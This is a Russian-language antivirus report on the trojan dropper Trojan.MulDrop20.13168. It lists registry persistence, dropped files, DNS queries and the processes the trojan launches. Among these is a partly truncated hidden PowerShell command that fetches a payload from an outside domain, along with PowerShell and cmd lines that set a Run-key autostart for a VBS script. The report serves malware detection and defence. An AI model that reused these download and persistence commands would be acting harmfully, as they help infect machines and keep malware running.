Trojan.MulDrop20.13168

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%TEMP%\Dir.vbs'

Изменения в файловой системе

Создает следующие файлы

%TEMP%\autb9ec.tmp
%TEMP%\7zs8d96e4f1\core\accessible.tlb
%TEMP%\7zs8d96e4f1\core\xul.dll
%TEMP%\7zs8d96e4f1\core\vcruntime140.dll
%TEMP%\7zs8d96e4f1\core\ucrtbase.dll
%TEMP%\7zs8d96e4f1\core\softokn3.dll
%TEMP%\7zs8d96e4f1\core\qipcap64.dll
%TEMP%\7zs8d96e4f1\core\osclientcerts.dll
%TEMP%\7zs8d96e4f1\core\nssckbi.dll
%TEMP%\7zs8d96e4f1\core\nss3.dll
%TEMP%\7zs8d96e4f1\core\msvcp140.dll
%TEMP%\7zs8d96e4f1\core\mozglue.dll
%TEMP%\7zs8d96e4f1\core\mozavutil.dll
%TEMP%\7zs8d96e4f1\core\mozavcodec.dll
%TEMP%\7zs8d96e4f1\core\libglesv2.dll
%TEMP%\7zs8d96e4f1\core\libegl.dll
%TEMP%\7zs8d96e4f1\core\lgpllibs.dll
%TEMP%\7zs8d96e4f1\core\ia2marshal.dll
%TEMP%\7zs8d96e4f1\core\freebl3.dll
%TEMP%\7zs8d96e4f1\core\d3dcompiler_47.dll
%TEMP%\7zs8d96e4f1\core\gmp-clearkey\0.1\clearkey.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\freebl3.chk
%TEMP%\7zs8d96e4f1\core\softokn3.chk
%TEMP%\7zs8d96e4f1\core\browser\omni.ja
%TEMP%\7zs8d96e4f1\core\omni.ja
%TEMP%\nsc11ad.tmp\modern-wizard.bmp
%TEMP%\nsc11ad.tmp\installoptions.dll
%TEMP%\nsc11ad.tmp\iospecial.ini
%TEMP%\nsc11ad.tmp\summary.ini
%TEMP%\nsc11ad.tmp\extensions.ini
%TEMP%\nsc11ad.tmp\components.ini
%TEMP%\nsc11ad.tmp\shortcuts.ini
%TEMP%\nsc11ad.tmp\options.ini
%TEMP%\nsc11ad.tmp\uac.dll
%TEMP%\nsc11ad.tmp\system.dll
%TEMP%\7zs8d96e4f1\core\xul.dll.sig
%TEMP%\7zs8d96e4f1\core\firefox.exe.sig
%TEMP%\7zs8d96e4f1\core\plugin-container.exe.sig
%TEMP%\7zs8d96e4f1\core\meta-inf\cose.sig
%TEMP%\7zs8d96e4f1\core\browser\meta-inf\cose.sig
%TEMP%\7zs8d96e4f1\core\gmp-clearkey\0.1\clearkey.dll.sig
%TEMP%\7zs8d96e4f1\core\meta-inf\mozilla.sf
%TEMP%\7zs8d96e4f1\core\browser\meta-inf\mozilla.sf
%TEMP%\7zs8d96e4f1\core\meta-inf\mozilla.rsa
%TEMP%\7zs8d96e4f1\core\browser\meta-inf\mozilla.rsa
%TEMP%\7zs8d96e4f1\core\browser\meta-inf\manifest.mf
%TEMP%\7zs8d96e4f1\core\meta-inf\manifest.mf
%TEMP%\7zs8d96e4f1\core\dependentlibs.list
%TEMP%\7zs8d96e4f1\core\gmp-clearkey\0.1\manifest.json
%TEMP%\nsc11ad.tmp\modern-header.bmp
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\updater.ini
%TEMP%\7zs8d96e4f1\core\update-settings.ini
%TEMP%\7zs8d96e4f1\core\platform.ini
%TEMP%\7zs8d96e4f1\core\crashreporter.ini
%TEMP%\7zs8d96e4f1\core\browser\crashreporter-override.ini
%TEMP%\7zs8d96e4f1\core\application.ini
%TEMP%\7zs8d96e4f1\core\defaults\pref\channel-prefs.js
%TEMP%\7zs8d96e4f1\core\firefox.visualelementsmanifest.xml
%TEMP%\7zs8d96e4f1\core\browser\blocklist.xml
%TEMP%\7zs8d96e4f1\core\browser\meta-inf\cose.manifest
%TEMP%\7zs8d96e4f1\core\meta-inf\cose.manifest
%TEMP%\7zs8d96e4f1\core\browser\features\webcompat@mozilla.org.xpi
%TEMP%\7zs8d96e4f1\core\browser\features\webcompat-reporter@mozilla.org.xpi
%TEMP%\7zs8d96e4f1\core\browser\features\screenshots@mozilla.org.xpi
%TEMP%\7zs8d96e4f1\core\browser\features\formautofill@mozilla.org.xpi
%TEMP%\7zs8d96e4f1\core\browser\features\doh-rollout@mozilla.org.xpi
%TEMP%\7zs8d96e4f1\core\browser\visualelements\visualelements_70.png
%TEMP%\7zs8d96e4f1\core\browser\visualelements\visualelements_150.png
%TEMP%\7zs8d96e4f1\core\removed-files
%TEMP%\7zs8d96e4f1\core\precomplete
%LOCALAPPDATA%\dir.vbs
%TEMP%\autcf12.tmp
%TEMP%\setup.exe
%TEMP%\7zs8d96e4f1\core\fonts\twemojimozilla.ttf
%TEMP%\7zs8d96e4f1\core\crashreporter.exe
%TEMP%\7zs8d96e4f1\core\firefox.exe
%TEMP%\7zs8d96e4f1\core\uninstall\helper.exe
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-multibyte-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-file-l2-1-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\7zs8d96e4f1\core\api-ms-win-core-file-l1-2-0.dll
%TEMP%\7zs8d96e4f1\core\accessiblemarshal.dll
%TEMP%\7zs8d96e4f1\core\accessiblehandler.dll
%TEMP%\7zs8d96e4f1\core\updater.exe
%TEMP%\7zs8d96e4f1\setup.exe
%TEMP%\7zs8d96e4f1\core\plugin-hang-ui.exe
%TEMP%\7zs8d96e4f1\core\plugin-container.exe
%TEMP%\7zs8d96e4f1\core\pingsender.exe
%TEMP%\7zs8d96e4f1\core\minidump-analyzer.exe
%TEMP%\7zs8d96e4f1\core\maintenanceservice_installer.exe
%TEMP%\7zs8d96e4f1\core\maintenanceservice.exe
%TEMP%\7zs8d96e4f1\core\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\dir.vbs

Удаляет следующие файлы

%TEMP%\autb9ec.tmp
%TEMP%\autcf12.tmp

Сетевая активность

UDP

DNS ASK google.com
DNS ASK ap###w.website

Другое

Создает и запускает на исполнение

'%TEMP%\setup.exe'
'%WINDIR%\syswow64\wscript.exe' "%LOCALAPPDATA%\Dir.vbs"
'%TEMP%\7zs8d96e4f1\setup.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$t= New-Object -Com Microsoft.XMLHTTP;$t.open('GET','https://appntw.website/wrm.jpg',$false);$t.send();$ty=$t...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%TEMP%\Dir.vbs'' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\\Dir.vbs" "%LOCALAPPDATA%\Temp" /Y' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$t= New-Object -Com Microsoft.XMLHTTP;$t.open('GET','https://appntw.website/wrm.jpg',$false);$t.send();$ty=$t...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%TEMP%\Dir.vbs'
'<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\\Dir.vbs" "%LOCALAPPDATA%\Temp" /Y